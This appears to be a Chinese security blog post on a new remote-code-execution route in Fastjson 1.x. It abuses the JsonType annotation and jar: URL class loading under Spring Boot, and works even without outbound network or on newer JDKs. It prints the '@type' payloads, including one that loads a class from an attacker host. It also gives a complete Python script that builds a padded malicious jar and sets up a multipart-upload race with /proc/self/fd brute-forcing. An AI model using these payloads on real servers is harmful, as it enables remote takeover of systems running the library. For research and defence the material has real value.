距离上一次手工分析漏洞+写博客还是在成为社畜前。
JsonType与新的攻击面
对于Fastjson1X而言,即使传入的@Type不在白名单里,如果这个类被JsonType注解或者是expectClass也是可以后续被loadClass类加载的。
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
问题在于之前的研究思路都局限在本地class类加载,构造gadget调用一系列getter/setter进行恶意利用,忽视了jar协议远程加载类的攻击面。
该攻击面没被发现也与日常调试环境有关。因为用 IDEA 直接启动默认走的是 AppClassLoader(普通应用类加载器),并且正常来说也不会通过 ParserConfig.defaultClassLoader 也不会显式设置为能解析 jar协议的加载器。

探测阶段的 getResourceAsStream 只会按 classpath 相对路径查找,拉不起来远程 jar 。而在Spring FatJar 场景,默认的是org.springframework.boot.loader.LaunchedURLClassLoader。该加载器继承自URLClassLoader,因此会通过jar协议下载class至tmp目录,例如windows是:
C:\Users\<>\AppData\Local\Temp\jar_cache5413977929028160987.tmp

关键点在于在获取到指定的class后会判断是否存在JsonType注解。

因此构造的恶意类需要包含jsonType注解。
后续则会加载对应的jsonType类。
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
以上为checkAutoType的大致流程,在通过校验后,会拿到对应的反序列化器(JavaBeanDeserializer)并调用对应的deserialze方法。最终通过createInstance实例化,进而触发static段实现RCE。
if (constructor != null) {
object = constructor.newInstance();
} else {
object = beanInfo.factoryMethod.invoke(null);
}
JVM 类名命名限制
8
注意构造的类名经过checkAutoType规范化后是这样的。注意 Class.getName() 显示成jar:http:..3232270722:19005.evil!.Exploit 是因为把 / 显示成 .了。
class jar:http:..3232270722:19005.evil!.Exploit

所以恶意类名应该构造为 class jar:http:..3232270722:19005.evil!/Exploit
不相等则抛出异常:
// Checks if name in class file matches requested name
if (name != NULL && class_name != name) {
ResourceMark rm(THREAD);
Exceptions::fthrow(
THREAD_AND_LOCATION,
vmSymbols::java_lang_NoClassDefFoundError(),
"%s (wrong name: %s)",
name->as_C_string(),
class_name->as_C_string()
);
return nullHandle;
}
9+
jdk9+加入了额外校验, // 首/、尾/、连续 // 全部非法。

所以这也是为什么不能直接通过http协议一把嗦打穿的原因。
Caused by: java.lang.ClassFormatError: Illegal class name "jar:http://3232270722:19005/evil!/Exploit" in class file jar:http://3232270722:19005/evil!/Exploit
at java.base/java.lang.ClassLoader.defineClass1(Native Method)
at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1016)
at com.lab.vuln.LaunchedClassLoaderInitializer$JarHttpAwareClassLoader.loadClass(LaunchedClassLoaderInitializer.java:122)
... 15 more
不出网+JDK高版本利用
该漏洞的主要限制有两个:
- 需要出网
- 目前payload只能在JDK8利用。
这里立刻想到利用 tomcat 缓存临时文件的特性:tomcat / Spring 使用 commons-fileupload 处理 multipart,一旦上传 part 体量超过 DiskFileItemFactory.DEFAULT_SIZE_THRESHOLD(默认 10240 = 10KB),会将数据从内存落到临时文件 upload_*.tmp。攻击时故意不发送文件 part 的结束定界符,服务端会一直等待剩余内容,临时文件 FD 保持打开,再 race:
jar:file:/proc/self/fd/N!/POCN
这样无需出网 HTTP 拉 jar,也绕开 JDK9+ 对类名中 // 的限制(jar:file:/proc/... 为单斜杠路径)。
不过这个思路还有一些坑。
临时文件不完整
Commons FileUpload 的 DiskFileItem 底层用 DeferredFileOutputStream / ThresholdingOutputStream,阈值为DEFAULT_THRESHOLD:
DiskFileItemFactory.DEFAULT_SIZE_THRESHOLD = 10240 // 10KB
public Builder() {
setBufferSize(DiskFileItemFactory.DEFAULT_THRESHOLD);
setPath(PathUtils.getTempDirectory());
setCharset(DEFAULT_CHARSET);
setCharsetDefault(DEFAULT_CHARSET);
}
超过阈值会把已有数据刷进 upload_xxxx.tmp,后续写入走磁盘文件
本来以为通过在STORED里面填充jar至10240字节的整数倍就可以缓存了,但是实际测试发现缓存的文件永远会少12字节,最终导致jar不合法类加载失败,这里让AI读了下源码:
// 前缀:\r\n--
protected static final byte[] BOUNDARY_PREFIX = {CR, LF, DASH, DASH};
// boundaryLength = 用户 boundary 长度 + 4
this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
// keepRegion = 整段 delimiter 的长度
this.keepRegion = this.boundary.length; // 含 CRLF-- + boundary 文本
解析 body 时不是把读到的字节立刻全部写进 DiskFileItem,而是用 ItemInputStream 边读边找 下一个边界。而\r\n–为4个字节,我构造的文件上传boundary为8个字节,加起来正好是12个字节
所以在 part 尚未结束时,写路径上总会留 最后 12 字节 在未 flush 的缓冲里。后续再测试的时候把定界符增加到9字节,确实正好少了1字节(这里我已经填充垃圾字节了):

因此正确构造是在jar后构造12个垃圾字节做占位。
classname -> fd
此外还有一个问题,由于上传的临时文件需要爆破 fd,并且受到类加载限制,我们利用的类名又要和爆破出来的fd一致。所以我这里用的方法更加暴力,就是在jar里面写入要爆破的所有fd类名,比如20到60,后续在爆破的时候同样race 20-60区间的fd即可。
生成jar的脚本:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Build multi-entry evil-fd.jar for blind jar:file:/proc/self/fd/<N> brute force.
Default range: FD 20..60 (one class per FD):
zip entry: POCN.class
internal: jar:file:/proc/self/fd/N!/POCN
@type: jar:file:.proc.self.fd.N!.POCN
Padding technique (lab-proven):
1) ZIP itself padded to exactly 10240 bytes (FileUpload sizeThreshold)
using STORED PAD.dat *inside* the archive (still a valid zip).
2) Append 12 garbage bytes *after* EOCD on the file on disk.
Incomplete multipart leaves the last 12 bytes unflushed → on-disk tmp
≈ 10240 complete jar.
Hang can send this file as-is (already 10240+12), or hang_upload_only will
strip any post-EOCD tail and re-append 12 (no double tail).
Usage:
python3 build_fd_jar.py # evil-fd.jar, fd 20..60, 10240+12
python3 build_fd_jar.py --fd 35 # single-fd evil-fd-35.jar
python3 hang_upload_only.py --jar evil-fd.jar
python3 fd_bruteforce_poc.py --jar evil-fd.jar --fd-start 20 --fd-end 60
Requires: JDK8 + asm, run from poc/.
"""
from __future__ import print_function
import os
import subprocess
import sys
import zipfile
import tempfile
import shutil
HERE = os.path.dirname(os.path.abspath(__file__))
ASM = os.path.join(HERE, ".lib", "asm-9.6.jar")
BUILD = os.path.join(HERE, "build")
OUT_JAR = os.path.join(HERE, "evil-fd.jar")
DEFAULT_FD_START = int(os.environ.get("FD_START", "20"))
DEFAULT_FD_END = int(os.environ.get("FD_END", "60"))
DEFAULT_FLUSH_BLOCK = int(os.environ.get("FLUSH_BLOCK", "10240"))
DEFAULT_UNFLUSHED_TAIL = int(os.environ.get("UNFLUSHED_TAIL", "12"))
DEFAULT_MIN_JAR_SIZE = int(os.environ.get("MIN_JAR_SIZE", "0"))
def which_java():
jdk = os.environ.get("JDK8") or os.environ.get("JAVA_HOME")
if jdk:
for name in ("java", "java.exe"):
p = os.path.join(jdk, "bin", name)
if os.path.isfile(p):
return p
return "java"
def which_javac():
jdk = os.environ.get("JDK8") or os.environ.get("JAVA_HOME")
if jdk:
for name in ("javac", "javac.exe"):
p = os.path.join(jdk, "bin", name)
if os.path.isfile(p):
return p
return "javac"
def ensure_asm():
if os.path.isfile(ASM):
return
os.makedirs(os.path.dirname(ASM), exist_ok=True)
url = "https://repo1.maven.org/maven2/org/ow2/asm/asm/9.6/asm-9.6.jar"
print("[gen] downloading", url)
try:
from urllib.request import urlretrieve
except ImportError:
from urllib import urlretrieve
urlretrieve(url, ASM)
def compile_genpayload():
os.makedirs(BUILD, exist_ok=True)
src = os.path.join(HERE, "GenPayload.java")
cmd = [
which_javac(),
"-source", "8",
"-target", "8",
"-encoding", "UTF-8",
"-cp", ASM,
"-d", BUILD,
src,
]
print("[gen]", " ".join(cmd))
subprocess.check_call(cmd, cwd=HERE)
def gen_one(internal_name, entry_simple, out_jar, poc_cmd=None):
cp = BUILD + os.pathsep + ASM
cmd = [which_java(), "-cp", cp]
if poc_cmd:
cmd.append("-Dpoc.cmd=" + poc_cmd)
cmd += ["GenPayload", internal_name, entry_simple, out_jar]
subprocess.check_call(cmd, cwd=HERE)
def _zip_with_stored_pad(entries, pad_len):
"""entries: list of (name, data); pad_len: STORED PAD.dat payload size."""
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zout:
for name, data in entries:
if name == "PAD.dat":
continue
zi = zipfile.ZipInfo(filename=name)
zi.compress_type = zipfile.ZIP_STORED
zout.writestr(zi, data)
if pad_len > 0:
zi = zipfile.ZipInfo(filename="PAD.dat")
zi.compress_type = zipfile.ZIP_STORED
zout.writestr(zi, b"X" * pad_len)
return buf.getvalue()
def pad_jar_to_flush_multiple(jar_path, block=DEFAULT_FLUSH_BLOCK, min_size=0):
"""
Grow jar INSIDE the zip (STORED PAD.dat) to exact ``block`` (default 10240).
If already larger, round up to the next multiple of block.
Returns pure zip size (no post-EOCD tail yet).
"""
size = os.path.getsize(jar_path)
if block is None or block <= 0:
print("[gen] skip flush align: block=%s size=%d" % (block, size))
return size
target = block
if min_size and min_size > target:
target = ((min_size + block - 1) // block) * block
if size > target:
if size % block == 0:
target = size
else:
target = ((size // block) + 1) * block
if size == target:
print("[gen] zip size ok: %s (%d bytes pure zip)" % (jar_path, size))
return size
print("[gen] pad INSIDE zip %d -> exact %d (STORED PAD.dat)" % (size, target))
with zipfile.ZipFile(jar_path, "r") as zin:
entries = []
for info in zin.infolist():
if info.filename == "PAD.dat":
continue
entries.append((info.filename, zin.read(info.filename)))
pad_len = max(target - size, 1)
out = None
for _ in range(64):
out = _zip_with_stored_pad(entries, pad_len)
diff = len(out) - target
if diff == 0:
break
pad_len -= diff
if pad_len < 0:
target += block
pad_len = max(target - size, 1)
print("[gen] bump target -> %d, pad_len=%d" % (target, pad_len))
else:
raise RuntimeError("could not hit exact size %d (last %d)" % (target, len(out)))
if len(out) != target:
raise RuntimeError("pad size mismatch: got %d want %d" % (len(out), target))
with open(jar_path, "wb") as f:
f.write(out)
with zipfile.ZipFile(jar_path, "r") as zf:
names = zf.namelist()
bad = zf.testzip()
if bad is not None:
raise RuntimeError("padded jar corrupt at entry %s" % bad)
print("[gen] pure zip %s -> %d bytes entries=%s" % (jar_path, len(out), names))
return len(out)
def append_unflushed_tail(jar_path, tail=DEFAULT_UNFLUSHED_TAIL):
"""
Append ``tail`` garbage bytes AFTER EOCD (not inside zip).
Hang incomplete multipart leaves these last bytes unflushed → disk ≈ pure zip.
"""
if tail is None or tail <= 0:
return os.path.getsize(jar_path)
with open(jar_path, "ab") as f:
f.write(b"\n" * tail)
final = os.path.getsize(jar_path)
print("[gen] append +%d after EOCD -> file size %d (pure_zip + %d)"
% (tail, final, tail))
print("[gen] hang should send this file; expect on-disk tmp ≈ %d"
% (final - tail))
return final
def pad_jar_to_min_size(jar_path, min_size=DEFAULT_MIN_JAR_SIZE):
return pad_jar_to_flush_multiple(
jar_path, block=DEFAULT_FLUSH_BLOCK, min_size=min_size or 0)
def build_range(fd_start, fd_end, poc_cmd=None, min_size=DEFAULT_MIN_JAR_SIZE,
flush_block=DEFAULT_FLUSH_BLOCK, unflushed_tail=DEFAULT_UNFLUSHED_TAIL):
ensure_asm()
compile_genpayload()
tmpdir = tempfile.mkdtemp(prefix="fdjar_")
try:
class_files = []
for fd in range(fd_start, fd_end + 1):
entry = "POC%d" % fd
internal = "jar:file:/proc/self/fd/%d!/%s" % (fd, entry)
one_jar = os.path.join(tmpdir, "one_%d.jar" % fd)
print("[gen] fd=%d internal=%s" % (fd, internal))
gen_one(internal, entry, one_jar, poc_cmd=poc_cmd)
with zipfile.ZipFile(one_jar, "r") as zf:
data = zf.read(entry + ".class")
class_files.append((entry + ".class", data))
if os.path.isfile(OUT_JAR):
os.remove(OUT_JAR)
with zipfile.ZipFile(OUT_JAR, "w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr(
"META-INF/MANIFEST.MF",
"Manifest-Version: 1.0\r\nCreated-By: build_fd_jar.py\r\n\r\n",
)
for name, data in class_files:
zf.writestr(name, data)
pure = pad_jar_to_flush_multiple(OUT_JAR, block=flush_block, min_size=min_size or 0)
final = append_unflushed_tail(OUT_JAR, tail=unflushed_tail)
import io
with open(OUT_JAR, "rb") as f:
raw = f.read()
zip_part = raw[:-unflushed_tail] if unflushed_tail > 0 else raw
with zipfile.ZipFile(io.BytesIO(zip_part), "r") as zf:
names = zf.namelist()
nclass = sum(1 for n in names if n.startswith("POC") and n.endswith(".class"))
if zf.testzip() is not None:
raise RuntimeError("final zip portion corrupt")
print("[gen] ============================================================")
print("[gen] wrote %s" % OUT_JAR)
print("[gen] classes = %d (fd %d..%d)" % (nclass, fd_start, fd_end))
print("[gen] pure zip = %d bytes (threshold pad)" % pure)
print("[gen] +tail = %d bytes after EOCD" % unflushed_tail)
print("[gen] file total = %d bytes" % final)
print("[gen] @type e.g. = jar:file:.proc.self.fd.%d!.POC%d" % (fd_start, fd_start))
print("[gen] hang:")
print("[gen] python3 hang_upload_only.py --jar %s" % OUT_JAR)
print("[gen] brute:")
print("[gen] python3 fd_bruteforce_poc.py --jar %s --fd-start %d --fd-end %d"
% (OUT_JAR, fd_start, fd_end))
print("[gen] ============================================================")
finally:
shutil.rmtree(tmpdir, ignore_errors=True)
def main():
import argparse
global OUT_JAR, DEFAULT_FLUSH_BLOCK
ap = argparse.ArgumentParser(
description="Build evil-fd.jar (default fd 20..60, zip 10240 + 12 after EOCD)")
ap.add_argument(
"--fd",
type=int,
default=None,
help="single fd only (e.g. 35). Omit to build the range.",
)
ap.add_argument(
"--fd-start",
type=int,
default=DEFAULT_FD_START,
help="range start (default %d)" % DEFAULT_FD_START,
)
ap.add_argument(
"--fd-end",
type=int,
default=DEFAULT_FD_END,
help="range end inclusive (default %d)" % DEFAULT_FD_END,
)
ap.add_argument(
"-o", "--output",
default=None,
help="output path (default evil-fd.jar or evil-fd-<N>.jar)",
)
ap.add_argument(
"--min-size",
type=int,
default=DEFAULT_MIN_JAR_SIZE,
help="optional floor before flush-block align",
)
ap.add_argument(
"--flush-block",
type=int,
default=DEFAULT_FLUSH_BLOCK,
help="pure zip size target / FileUpload threshold (default %d)"
% DEFAULT_FLUSH_BLOCK,
)
ap.add_argument(
"--tail",
type=int,
default=DEFAULT_UNFLUSHED_TAIL,
help="bytes appended AFTER EOCD (default %d). Use 0 for pure zip only."
% DEFAULT_UNFLUSHED_TAIL,
)
args = ap.parse_args()
DEFAULT_FLUSH_BLOCK = args.flush_block
default_cmd = "touch /tmp/RCE_PROOF_FD"
poc_cmd = default_cmd
env_fd = os.environ.get("FD")
if args.fd is None and env_fd:
args.fd = int(env_fd)
if args.fd is not None:
out = args.output or os.path.join(HERE, "evil-fd-%d.jar" % args.fd)
OUT_JAR = out
print("[gen] single-fd mode fd=%d -> %s (zip %d + tail %d)"
% (args.fd, out, args.flush_block, args.tail))
build_range(
args.fd, args.fd,
poc_cmd=poc_cmd,
min_size=args.min_size,
flush_block=args.flush_block,
unflushed_tail=args.tail,
)
print("[gen] @type: jar:file:.proc.self.fd.%d!.POC%d" % (args.fd, args.fd))
else:
if args.output:
OUT_JAR = args.output
print("[gen] range mode fd=%d..%d -> %s (zip %d + tail %d)"
% (args.fd_start, args.fd_end, OUT_JAR, args.flush_block, args.tail))
build_range(
args.fd_start, args.fd_end,
poc_cmd=poc_cmd,
min_size=args.min_size,
flush_block=args.flush_block,
unflushed_tail=args.tail,
)
if __name__ == "__main__":
main()
最后不断发送请求爆破fd即可实现不出网+JDK高版本利用:
{"@type":"jar:file:.proc.self.fd.<XX>!.POC<XX>","x":1}

结语
标题党了,其实还是会有竞争fd不成功的限制)并且在盲盒场景这样最多只能打1次,因为利用完会产生很多fd :(
其它思路可以想到的是我们可以先通过 jar:http:..3232270722:19005.evil!.Exploit落盘临时文件,因为高版本JDK的限制只是不在加载带有 //的类了,但是恶意class是会落到临时目录下的,后续通过file协议遍历fd似乎也有机会。不过这个思路要解决的问题就更多了。